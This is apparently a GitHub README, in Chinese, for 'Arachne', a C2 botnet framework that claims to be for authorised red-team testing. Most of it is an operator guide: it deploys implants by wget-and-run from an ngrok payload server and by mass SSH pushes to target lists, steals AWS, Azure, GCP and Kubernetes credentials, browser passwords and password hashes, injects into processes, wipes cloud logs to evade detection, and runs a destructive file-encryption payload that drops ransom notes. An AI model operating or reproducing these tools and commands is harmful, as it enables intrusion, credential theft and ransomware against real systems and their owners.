RobotEby/Arachne

GitHub: RobotEby/Arachne

一款集成云环境感知能力的 C2 僵尸网络框架,专为授权渗透测试和红队演练设计。

Stars: 0 | Forks: 0

# ARACHNE - 集成 C2 的僵尸网络 v3.2 ![MrRobot Banner](https://img.shields.io/badge/MrRobot-certified_ethcial_hacker-blue) ![Arachne Banner](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/6089afc204104437.png) **ARACHNE** v3.2 是一个全面的加密命令与控制(C2)框架,专为授权渗透测试、红队行动和应急响应训练而设计。ARACHNE 具备 AES-256 加密、基于 Web 的管理界面、云环境感知能力以及丰富的 payload 库,为安全测试提供了专业级的能力。 ## !免责声明:本工具仅供教育目的使用。请仅在你拥有或有书面测试权限的系统上使用。 ## v3.2 更新内容 ### **云感知植入程序与 C2 (全新!)** - **自动云环境检测** - AWS, Azure, GCP, Docker, Kubernetes - **云特定战术** - 适应环境的持久化与规避 - **云操作选项卡** - 专用的云利用界面 - **特定提供商的 Payload** - AWS/Azure/GCP 凭证窃取器 - **容器逃逸与 K8s 利用** - 高级容器感知操作 ### **高级 Payload 套件** - **20+ 专业 Payload**,包括云特定模块 - **5 个新的云 Payload** 用于云环境利用 - **云感知持久化** - 适应 AWS/Azure/GCP/容器环境 - **自动环境适应** - 根据检测到的云提供商改变战术 - **云侦察** - 特定提供商的情报收集 ### **云 Payload (全新)** - **云检测器** (`cloud_detector.py`) - 检测云环境并适应行为 - **AWS 凭证窃取器** (`aws_credential_stealer.py`) - 窃取 AWS 凭证和元数据 - **Azure 凭证收集器** (`azure_cred_harvester.py`) - 窃取 Azure token 和凭证 - **容器逃逸** (`container_escape.py`) - 逃离容器化环境 - **Kubernetes Secret 窃取器** (`k8s_secret_stealer.py`) - 窃取 K8s secrets 和配置 ### **Web 界面** - **云操作选项卡** - 专用的云利用界面 - **云信息显示** - 僵尸列表中的实时云环境检测 - **特定提供商操作** - AWS, Azure, GCP, 容器/Kubernetes - **云环境扫描器** - 集成的云侦察工具 - **自适应植入程序设置** - 云感知的隐藏目录和持久化 ### **高级功能 (v3.1)** - **4 个高级 Payload** 用于极致的隐蔽性和持久化 - **文件加密 Payload** - AES-256 加密/解密 (破坏性 - 请谨慎使用) - **复合操作** 用于自动化红队工作流 - **选项卡式 Web 界面**,带有专用的高级操作部分 - **进程注入与文件隐藏** 以实现最大的隐蔽性 ## 云感知功能 (v3.2 新增) ### **自动云检测** 植入程序自动检测: - **AWS EC2 实例** 通过元数据服务 (169.254.169.254) - **Azure VMs** 通过 Azure 实例元数据 - **Google Cloud VMs** 通过 GCP 元数据服务 - **Docker 容器** 通过 /.dockerenv 和 cgroups - **Kubernetes pods** 通过服务账户挂载 - **通用容器** 通过 cgroup 分析 ### **云自适应行为** 基于检测到的环境: - **隐藏目录选择** - 选择最佳的隐蔽位置 - **持久化机制适应** - 使用云原生持久化 - **战术选择** - 特定环境的利用方法 - **Payload 预取** - 下载相关的云 payload - **通信适应** - 调整云网络的信标间隔 ### **云特定持久化** #### **AWS 持久化:** - Cloud-init user-data 修改 - 实例元数据 cron 作业 - AWS 特定服务创建 - 基于标签的持久化 #### **Azure 持久化:** - VM Agent 扩展安装 - Azure cloud-init 配置 - 自定义脚本扩展 - Azure 特定计划任务 #### **GCP 持久化:** - Google Cloud 启动脚本 - GCP cloud-init 配置 - 基于实例元数据的触发器 - 自定义元数据持久化 #### **容器持久化:** - Docker socket 利用 - 仅内存执行 - 容器镜像修改 - Kubernetes cron 作业 ### **云操作界面** 访问地址: `http://localhost:4444/admin` → "Cloud Ops" 选项卡 #### **云检测** ``` trigger_cloud_detect # Detect cloud environment trigger_cloud_recon # Execute cloud reconnaissance ``` #### **AWS 操作** ``` trigger_aws_creds # Steal AWS credentials and metadata trigger_aws_enum # Enumerate AWS resources load_payload aws_lateral.py # Load AWS lateral movement ``` #### **Azure 操作** ``` trigger_azure_creds # Steal Azure credentials trigger_azure_enum # Enumerate Azure resources load_payload azure_lateral.py # Load Azure lateral movement ``` #### **GCP 操作** ``` trigger_gcp_creds # Steal GCP credentials trigger_gcp_enum # Enumerate GCP resources load_payload gcp_lateral.py # Load GCP lateral movement ``` #### **容器操作** ``` trigger_container_escape # Attempt container escape trigger_k8s_creds # Steal Kubernetes credentials load_payload docker_breakout.py # Load container breakout ``` #### **云环境扫描器** - 全面云扫描 (元数据, 凭证, 资源) - 仅凭证扫描 - 仅元数据收集 - 植入程序适应云环境 ## 安装与设置 ### **克隆仓库** ``` git clone https://github.com/RobotEby/Arachne.git cd arachne ``` ### **安装依赖** ``` # 核心依赖 sudo apt update sudo apt install python3 python3-pip python3-dev python3-venv -y # 安装 Python 包 pip3 install pycryptodome flask requests psutil setproctitle netifaces paramiko pynput --break-system-packages # 云功能可选 pip3 install boto3 azure-identity google-cloud-storage kubernetes --break-system-packages # 用于高级 payload pip3 install pyautogui python-nmap secretstorage --break-system-packages ``` **注意:** 如果你不想使用 `--break-system-packages`,请创建一个 venv 并在其中操作: ``` python3 -m venv arachne_env source arachne_env/bin/activate pip3 install pycryptodome flask requests psutil setproctitle netifaces paramiko pynput boto3 azure-identity google-cloud-storage kubernetes pyautogui python-nmap secretstorage ``` ### **Ngrok 设置** ``` # 下载并安装 ngrok wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz tar -xvzf ngrok-v3-stable-linux-amd64.tgz sudo mv ngrok /usr/local/bin/ # 设置认证 ngrok config add-authtoken YOUR_NGROK_AUTH_TOKEN ``` ## 快速入门指南 ### **1. 启动 C2 服务器** (控制中心) ``` python3 arachne_c2.py ``` **预期输出:** ``` ============================================================ ARACHNE C2 SERVER - Complete Command & Control ============================================================ [+] Exfil listener started on port 9091 [+] Reverse shell listener started on port 9001 [*] Starting ngrok tunnel... [+] C2 SERVER IS LIVE! [NGROK] C2 URL: https://your-subdomain.ngrok-free.dev [NGROK] Hostname: your-subdomain.ngrok-free.dev [NGROK] Payloads: https://your-subdomain.ngrok-free.dev/payloads/ [ADMIN] Web Panel: http://localhost:4444/admin [CLOUD] 5 Cloud Payloads Added: Cloud Detector, AWS/Azure/GCP Stealers, Container Escape, K8s Stealer [ADVANCED] 4 Advanced Payloads: Process Injection, File Hider, Cron Persist, Competitor Cleaner [FILE ENCRYPTION] System-wide modes: system_test, system_user, system_aggressive, system_destructive ============================================================ ``` ### **2. 配置植入程序** 使用你的 C2 详情编辑 `arachne_implant.py`: ``` C2_HOST = 'your-ngrok-subdomain.ngrok-free.dev' C2_PORT = 4444 PAYLOAD_REPO = "https://your-ngrok-subdomain.ngrok-free.dev/payloads/" ``` ### **3. 部署植入程序** **手动部署:** ``` python3 arachne_implant.py ``` **云部署示例 (AWS):** ``` # 通过 user-data 部署到 AWS EC2 cat > user-data.sh << 'EOF' #!/bin/bash wget https://your-ngrok-subdomain.ngrok-free.dev/payloads/arachne_implant.py -O /tmp/arachne.py python3 /tmp/arachne.py & EOF # 使用 user-data 启动 EC2 aws ec2 run-instances --image-id ami-12345678 --user-data file://user-data.sh ``` **批量部署 (SSH):** ``` for ip in $(cat targets.txt); do scp arachne_implant.py user@$ip:/tmp/ && \ ssh user@$ip "cd /tmp && python3 arachne_implant.py &" done ``` **容器部署:** ``` # 注入到运行中的 container docker cp arachne_implant.py container_name:/tmp/ docker exec container_name python3 /tmp/arachne_implant.py & # 或者构建到 container 镜像中 echo "CMD python3 /app/arachne_implant.py" >> Dockerfile ``` ## Web 界面指南 ### **访问控制面板** ``` http://localhost:4444/admin ``` ### **界面布局** #### **选项卡 1: 活跃僵尸** - 查看已连接的植入程序及实时状态 - **云信息显示** - 显示检测到的云环境 - 向单个僵尸发送命令 - 监控命令结果和待处理队列 - 颜色编码的状态指示器 (绿色 = 活跃, 蓝绿色 = 已检测到云) - **文件加密工具** - 带有警告的专用界面 - **高级 Payload 区域** - 快速访问新功能 #### **选项卡 2: 操作** **云感知操作 (全新):** ``` trigger_cloud_detect # Detect cloud environment trigger_cloud_recon # Cloud-specific reconnaissance trigger_aws_creds # AWS credential harvesting trigger_azure_creds # Azure credential harvesting trigger_gcp_creds # GCP credential harvesting trigger_container_escape # Container escape attempt trigger_k8s_creds # Kubernetes credential harvesting ``` **侦察与情报** (增强版): ``` trigger_sysrecon # Comprehensive system reconnaissance trigger_linpeas # Linux privilege escalation checker trigger_hashdump # Password hash extraction trigger_browsersteal # Browser credential theft trigger_network_scan # Network host discovery ``` **高级操作:** ``` trigger_procinject # Process injection for stealth execution trigger_filehide # Advanced file hiding techniques trigger_cronpersist # Advanced cron persistence methods trigger_compclean # Clean competitor malware/botnets ``` **复合操作:** ``` trigger_full_recon # Complete reconnaissance suite trigger_harvest_all # Comprehensive data collection trigger_clean_sweep # Forensic cleanup & restart ``` **文件操作 (破坏性):** ``` trigger_fileransom encrypt /path [password] # Encrypt files (removes originals) trigger_fileransom decrypt /path # Decrypt files with password ``` **持久化与隐蔽:** ``` trigger_stealthinject # PolyRoot persistence installation trigger_persistence_setup # Additional persistence mechanisms trigger_defense_evasion # Anti-forensic techniques trigger_logclean # System log cleaning ``` #### **选项卡 3: Payloads** - 浏览可用的 payload - **云 Payload 区域** (全新) - AWS/Azure/GCP/容器/K8s 工具 - 直接加载/运行按钮 - Payload 描述和分类 - 按操作类型组织 - **文件加密** 标有橙色警告 - **高级 Payload** 标有紫色 "NEW" 徽章 - **云 Payload** 标有蓝绿色 "CLOUD" 徽章 #### **选项卡 4: 高级** - **进程注入** - 将植入程序注入合法进程 - **高级文件隐藏器** - 使用高级技术隐藏文件 - **高级 Cron 持久化** - 复杂的基于 cron 的持久化 - **竞争者清理器** - 移除其他恶意软件/僵尸网络 - 用于高级 payload 的高级操作控制台 #### **选项卡 5: 云操作 (全新)** - **云检测** - 环境检测与适应 - **AWS 操作** - AWS 特定的凭证窃取和枚举 - **Azure 操作** - Azure 凭证窃取和资源发现 - **GCP 操作** - Google Cloud Platform 凭证窃取 - **容器操作** - 容器逃逸和 Kubernetes 利用 - **云环境扫描器** - 完整的云侦察工具 - **适应云环境的植入程序** - 自动环境适应 #### **选项卡 6: 结果** - 命令执行历史 - 带时间戳的结果 - 按 ID 筛选 - 导出功能 #### **选项卡 7: 服务器状态** - 服务器运行时间 - Ngrok 隧道状态 - 活跃僵尸数量 - 系统资源监控 - 高级 payload 数量 - 云 payload 数量 ## Payload 参考 ### **云 Payload (全新)** #### **云检测器** (`cloud_detector.py`) ``` trigger_cloud_detect ``` **检测:** - AWS EC2 实例 通过元数据服务 - Azure VMs 通过 Azure 实例元数据 - Google Cloud VMs 通过 GCP 元数据 - Docker 容器 通过 /.dockerenv - Kubernetes pods 通过服务账户 - 通用容器环境 **功能:** - 自动环境适应 - 云特定战术选择 - 带置信度的提供商识别 - 用于情报的元数据收集 #### **AWS 凭证窃取器** (`aws_credential_stealer.py`) ``` trigger_aws_creds ``` **收集:** - 来自元数据的 IAM role 凭证 - AWS CLI 配置文件 (~/.aws/) - 包含 AWS 密钥的环境变量 - EC2 实例元数据 - S3 bucket 访问密钥 **功能:** - 自动凭证验证 - 权限枚举 - 区域发现 - 服务访问测试 #### **Azure 凭证收集器** (`azure_cred_harvester.py`) ``` trigger_azure_creds ``` **收集:** - 托管身份 token - Azure CLI 凭证 - 服务主体配置 - VM 元数据和标签 - Key Vault 访问模式 **功能:** - Token 获取和验证 - 订阅枚举 - 资源组发现 - 角色分配分析 #### **容器逃逸** (`container_escape.py`) ``` trigger_container_escape ``` **技术:** - Docker socket 利用 - 通过 capabilities 提权 - Mount namespace 突破 - 内核模块加载 - Cgroup 操作 **功能:** - 多种逃逸向量尝试 - 成功概率评估 - 逃逸后主机侦察 - 在主机上建立持久化 #### **Kubernetes Secret 窃取器** (`k8s_secret_stealer.py`) ``` trigger_k8s_creds ``` **窃取:** - Kubernetes 服务账户 token - 包含敏感数据的 ConfigMaps - 所有 namespace 的 Secrets - kubeconfig 文件 - Cluster role bindings **功能:** - Namespace 枚举 - Secret 提取和解密 - 集群权限提升 - 横向移动规划 ### **核心 Payload** #### **系统侦察** (`sysrecon.py`) ``` trigger_sysrecon ``` **收集:** - 系统硬件信息 - 网络配置 - 用户账户和权限 - 运行中的进程和服务 - 已安装软件清单 - 安全防御状态 #### **权限提升** (`linpeas_light.py`) ``` trigger_linpeas ``` **检查:** - Sudo 权限和配置错误 - SUID/SGID 二进制文件 - 全局可写文件和目录 - Cron 作业漏洞 - 内核漏洞 - Linux capabilities #### **凭证访问** (`hashdump.py`) ``` trigger_hashdump ``` **提取:** - Linux 密码哈希 (/etc/shadow) - Windows SAM 哈希 (如果可用) - SSH 公私钥 - 浏览器保存的凭证 - 内存凭证痕迹 ### **高级 Payload** #### **进程注入** (`process_inject.py`) ``` trigger_procinject ``` **功能:** - 将 Arachne 植入程序注入合法的系统进程 - 仅内存执行以绕过文件扫描 - 目标进程: systemd, sshd, nginx, apache - 通过注入的进程在重启后持久化 - 绕过传统的进程监控工具 #### **高级文件隐藏器** (`advanced_filehider.py`) ``` trigger_filehide ``` **功能:** - 使用 Linux 扩展属性隐藏文件 - 点前缀操作和隐藏目录 - 文件系统隧道技术 - 反取证方法以逃避检测 - 使文件对标准系统工具不可见 #### **高级 Cron 持久化** (`advanced_cron_persistence.py`) ``` trigger_cronpersist ``` **功能:** - 随机化执行时间以逃避模式检测 - 混淆的 cron 条目,看起来合法 - 多重备份持久化方法 - 如果被移除则具备自愈能力 - 隐藏 cron 作业的反取证技术 #### **竞争者清理器** (`competitor_cleaner.py`) ``` trigger_compclean ``` **功能:** - 检测并移除常见的恶意软件家族 - 清理竞争者的 C2 植入程序和后门 - 移除未授权的持久化机制 - 系统清理以获取独占权 - 识别并中和系统上的威胁行为者 #### **文件加密** (`fileransom.py`) - **破坏性** ``` trigger_fileransom encrypt /path [password] # Encrypt files trigger_fileransom decrypt /path # Decrypt files ``` **功能:** - AES-256 军用级加密 - 密码保护的加密/解密 - 自动生成强密码 - 创建带有恢复说明的勒索信 - 保存带有密码的加密日志 - **警告:** 永久移除原始文件 ## 云感知操作指南 ### **云环境检测** #### **手动云检测** ``` # 从 C2 web 界面(Cloud Ops 标签页): trigger_cloud_detect # 或者直接通过命令: send_https_command("trigger_cloud_detect") ``` #### **云侦察** ``` # 全面云侦察 trigger_cloud_recon # 这将: # 1. 检测云提供商 # 2. 收集特定提供商的 metadata # 3. 收集可用的凭证 # 4. 枚举可访问的资源 ``` ### **云特定利用** #### **AWS 利用链** ``` # 1. 检测 AWS 环境 trigger_cloud_detect # 2. 窃取 AWS 凭证 trigger_aws_creds # 3. 枚举 AWS 资源 trigger_aws_enum # 4. 尝试在 AWS 内横向移动 load_payload aws_lateral.py ``` #### **Azure 利用链** ``` # 1. 检测 Azure 环境 trigger_cloud_detect # 2. 获取 Azure 凭证 trigger_azure_creds # 3. 枚举 Azure 资源 trigger_azure_enum # 4. 尝试在 Azure 内横向移动 load_payload azure_lateral.py ``` #### **容器逃逸链** ``` # 1. 检测 container 环境 trigger_cloud_detect # 2. 尝试 container 逃逸 trigger_container_escape # 3. 如果成功,部署到主机 trigger_persistence_setup # 4. 清除 container 痕迹 trigger_logclean ``` #### **Kubernetes 利用** ``` # 1. 检测 Kubernetes 环境 trigger_cloud_detect # 2. 窃取 Kubernetes secrets trigger_k8s_creds # 3. 枚举集群资源 # (如果可用,通过 kubectl 手动执行命令) # 4. 尝试在集群内横向移动 load_payload k8s_lateral.py ``` ### **云感知持久化** #### **自动持久化适应** 植入程序根据检测到的环境自动适应持久化方式: **在 AWS 中:** - 修改 cloud-init user-data - 创建基于 EC2 元数据的 cron 作业 - 使用 AWS 特定的服务机制 **在 Azure 中:** - 安装 VM Agent 扩展 - 修改 Azure cloud-init 配置 - 创建 Azure 特定的计划任务 **在 GCP 中:** - 添加 Google Cloud 启动脚本 - 修改 GCP cloud-init 配置 - 使用实例元数据作为触发器 **在容器中:** - 使用 Docker socket 进行持久化 - 实施仅内存执行 - 创建容器特定的 cron 作业 #### **手动持久化命令** ``` # 强制云感知持久化设置 # (检测到云时在 implant 启动时自动执行) # 检查当前持久化状态 trigger_status # 验证云适配 cat ~/.cache/.arachne/cloud_detection.json 2>/dev/null ``` ### **云情报收集** #### **元数据收集** ``` # AWS metadata curl http://169.254.169.254/latest/meta-data/ 2>/dev/null # Azure metadata curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # GCP metadata curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/" ``` #### **凭证发现** ``` # 检查云凭证 find / -name ".aws" -o -name ".azure" -o -name ".config/gcloud" 2>/dev/null # 检查环境变量 env | grep -i aws\|azure\|gcp\|cloud # 检查运行中的进程以查找云工具 ps aux | grep -i aws\|az\|gcloud\|kubectl ``` ### **云特定规避** #### **AWS 规避** - 使用 IMDSv2 token 访问元数据 - 利用 AWS role 而非存储的凭证 - 使用 VPC endpoint 避免互联网暴露 - 为 API 调用实施请求签名 #### **Azure 规避** - 使用托管身份而非服务主体 - 利用 Azure Key Vault 存储机密 - 为 Azure 服务使用私有 endpoint - 实施 token 缓存以减少认证频率 #### **容器规避** - 使用无持久化的临时容器 - 实施仅内存执行 - 利用 sidecar 容器进行 C2 - 使用 Kubernetes 作业执行临时任务 ## 高级用法 ### **复合云操作** #### **完整云侦察** ``` trigger_full_recon # Includes cloud detection if in cloud ``` **当处于云环境中时,这还会:** 1. 检测云提供商和类型 2. 收集云元数据 3. 收集可用凭证 4. 枚举云资源 5. 映射云内网络拓扑 #### **云数据收集** ``` trigger_harvest_all # Enhanced for cloud environments ``` **云增强收集:** - 云凭证窃取 - 云元数据渗出 - 容器/Kubernetes secret 收集 - 云存储 bucket 枚举 - 数据库凭证提取 ### **云环境中的隐蔽技术** #### **云原生隐蔽技术** ``` # 使用云原生服务进行隐蔽 trigger_cloud_detect # First, understand environment # 然后应用适当的隐蔽措施: if AWS: trigger_procinject # Process injection trigger_filehide # Advanced file hiding # Use AWS CloudWatch for log obfuscation if Container: trigger_container_escape # Escape to host trigger_memory_persistence # Memory-only execution # Use container orchestration for hiding if Kubernetes: trigger_k8s_creds # Steal service account # Use K8s jobs for ephemeral execution # Leverage K8s network policies for stealth ``` #### **云日志规避** ``` # 特定云日志清理 trigger_logclean # Enhanced for cloud logs # 特定云目标: # AWS: CloudTrail, CloudWatch, VPC Flow Logs # Azure: Activity Logs, Monitor, Network Watcher # GCP: Cloud Audit Logs, VPC Flow Logs, Operations ``` ### **云横向移动** #### **在云提供商内部** ``` # AWS 横向移动 load_payload aws_lateral.py # 此 payload 可以: # 1. 使用窃取的凭证访问其他实例 # 2. 枚举安全组以查找可访问端口 # 3. 尝试 SSH/RDP 连接到其他实例 # 4. 通过 AWS Systems Manager 部署 implant ``` #### **跨云移动** ``` # 如果凭证允许多云访问 # 手动步骤: # 1. 从当前云获取凭证 # 2. 针对其他云提供商测试凭证 # 3. 部署 implant 到可访问的云 # 4. 建立跨云 C2 通道 ``` ## 紧急程序 ### **云特定紧急移除** #### **AWS 移除** ``` # 从 AWS 实例移除 sudo pkill -9 -f arachne sudo rm -rf ~/.cache/.arachne sudo rm -rf /var/lib/cloud/.cache # 清理 cloud-init 修改 sudo sed -i '/ARACHNE\|arachne_agent/d' /etc/cloud/cloud.cfg # 移除 AWS cron 作业 sudo rm -f /etc/cron.d/aws-monitor ``` #### **Azure 移除** ``` # 从 Azure VM 移除 sudo pkill -9 -f arachne sudo rm -rf ~/.cache/.arachne sudo rm -rf /var/lib/waagent/custom-script # 清理 Azure 扩展 sudo find /var/lib/waagent -name "*arachne*" -delete ``` #### **容器移除** ``` # 从 container 移除 pkill -9 -f arachne rm -rf /.cache/.arachne # 检查主机逃逸 ps aux | grep -E "docker|containerd|kube" | grep -v grep # 如果逃逸到主机,也清理主机 ``` #### **Kubernetes 移除** ``` # 从 Kubernetes pod 移除 pkill -9 -f arachne rm -rf /.cache/.arachne # 检查集群范围部署 kubectl get jobs,cronjobs,deployments -A | grep -i arachne # 移除任何 Arachne 相关资源 kubectl delete -f arachne-manifest.yaml 2>/dev/null ``` ### **云取证检测** #### **入侵指标 (云)** ``` # 检查特定云 IoC # AWS: 异常 IAM role 使用,意外的 metadata 查询 # Azure: 异常 managed identity 使用,意外的扩展安装 # GCP: 异常 service account 使用,意外的 metadata 访问 # Containers: Container 逃逸尝试,异常的主机挂载 ``` #### **云日志分析** ``` # 检查云提供商日志 # AWS CloudTrail, CloudWatch # Azure Activity Logs, Monitor # GCP Cloud Audit Logs, Operations # Container: Docker/Container 日志 # Kubernetes: K8s audit logs ``` ## 故障排除 ### **云特定问题** #### **云检测失败** ``` # 手动测试云检测 python3 -c " import urllib.request import socket socket.setdefaulttimeout(2) try: req = urllib.request.Request('http://169.254.169.254/latest/meta-data/') urllib.request.urlopen(req) print('AWS detected') except: print('Not AWS or metadata blocked') " # 检查 metadata 服务访问 curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo "AWS metadata unavailable" curl -H Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01' 2>/dev/null || echo "Azure metadata unavailable" curl -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/' 2>/dev/null || echo "GCP metadata unavailable" ``` #### **云凭证问题** ``` # 检查云凭证 ls -la ~/.aws/ ~/.azure/ ~/.config/gcloud/ 2>/dev/null # 测试 AWS 凭证 aws sts get-caller-identity 2>/dev/null || echo "AWS credentials not configured" # 测试 Azure 凭证 az account show 2>/dev/null || echo "Azure credentials not configured" # 测试 GCP 凭证 gcloud config list 2>/dev/null || echo "GCP credentials not configured" ``` #### **容器逃逸失败** ``` # 检查 container 环境 cat /.dockerenv 2>/dev/null && echo "Running in Docker" cat /proc/1/cgroup | grep -i docker && echo "Docker container detected" ls /var/run/secrets/kubernetes.io/serviceaccount 2>/dev/null && echo "Kubernetes pod detected" # 检查逃逸向量 ls -la /var/run/docker.sock 2>/dev/null && echo "Docker socket accessible" find / -perm -4000 2>/dev/null | head -10 ``` #### **Kubernetes 问题** ``` # 检查 Kubernetes 环境 env | grep -i kubernetes ls /var/run/secrets/kubernetes.io/serviceaccount 2>/dev/null # 测试 Kubernetes 访问 kubectl get pods 2>/dev/null || echo "kubectl not available or no permissions" curl -s -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces/default/pods 2>/dev/null | head -5 ``` ### **一般故障排除** #### **Ngrok 连接问题:** ``` # 检查 ngrok 状态 curl http://localhost:4040/api/tunnels # 重启 ngrok pkill ngrok ngrok http 4444 sleep 5 ``` #### **植入程序未连接:** ``` # 从目标测试 C2 连接 curl -k https://your-c2.ngrok-free.dev # 检查 implant 日志 cat ~/.cache/.arachne/.implant.log 2>/dev/null # 验证云检测有效 cat ~/.cache/.arachne/cloud_detection.json 2>/dev/null ``` ## 命令快速参考 ### **云命令 (全新)** ``` # 云检测与侦察 trigger_cloud_detect # Detect cloud environment trigger_cloud_recon # Cloud-specific reconnaissance trigger_cloud_scan full # Full cloud environment scan # AWS 操作 trigger_aws_creds # Steal AWS credentials trigger_aws_enum # Enumerate AWS resources # Azure 操作 trigger_azure_creds # Steal Azure credentials trigger_azure_enum # Enumerate Azure resources # GCP 操作 trigger_gcp_creds # Steal GCP credentials trigger_gcp_enum # Enumerate GCP resources # Container 操作 trigger_container_escape # Container escape attempt trigger_k8s_creds # Kubernetes credential harvesting ``` ### **基本命令** ``` # 系统信息 whoami uname -a ip a ps aux # 云信息 env | grep -i cloud curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null | head -5 ``` ### **触发命令 (C2 面板)** ``` # 侦察 trigger_sysrecon trigger_linpeas trigger_hashdump trigger_browsersteal # 高级 Payload trigger_procinject trigger_filehide trigger_cronpersist trigger_compclean # 云操作 trigger_cloud_detect trigger_aws_creds trigger_azure_creds trigger_container_escape # 文件操作(破坏性) trigger_fileransom encrypt /path [password] trigger_fileransom decrypt /path # 操作 trigger_full_recon trigger_harvest_all trigger_clean_sweep # 管理 trigger_status trigger_self_update trigger_help ``` ### **Payload 命令** ``` # 加载并执行 load_payload sysrecon.py run_payload sysrecon.py # 云 payload load_payload cloud_detector.py run_payload cloud_detector.py # 高级 payload load_payload process_inject.py run_payload process_inject.py # 文件加密(请极度谨慎使用) load_payload fileransom.py run_payload fileransom.py ``` ## 免责声明 ### **!!!极端警告免责声明!!!** ``` THE FILE ENCRYPTION PAYLOAD (fileransom.py) IS DESTRUCTIVE SOFTWARE. It PERMANENTLY REMOVES ORIGINAL FILES during encryption. Files are only recoverable with the correct password. THE CLOUD EXPLOITATION FEATURES ARE FOR AUTHORIZED TESTING ONLY. Unauthorized access to cloud resources is illegal and unethical. THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. The author assumes NO LIABILITY for data loss, misuse, or damage caused by this software. Users must: 1. Obtain proper authorization before use 2. Only use in isolated test environments 3. Maintain backups of all important data 4. Assume full responsibility for encryption password management 5. Only test cloud environments you own or have written permission to test 6. Comply with all cloud provider terms of service ``` _最后更新:v3.2 | 仅用于授权安全测试_ **云利用:仅在你拥有或明确获准测试的云环境中使用** **文件加密:仅在隔离环境中极其谨慎地使用** ![arachne](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e2a4cfdea9104439.png) ![RobotEby](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/34def48fea104442.png)
标签:AES-256加密, AWS渗透, Azure利用, C2架构, Chrome Headless, DNS隧道, GCP检测, Kubernetes安全, Python, Red Teaming, StruQ, Web报告查看器, Web管理界面, 僵尸网络框架, 勒索软件模拟, 协议分析, 命令控制, 多语言支持, 子域名突变, 安全测试框架, 容器逃逸, 恶意样本开发, 数据处理, 数据采集, 无后门, 权限提升, 网络犯罪模拟, 自动化攻击, 逆向工具, 键盘记录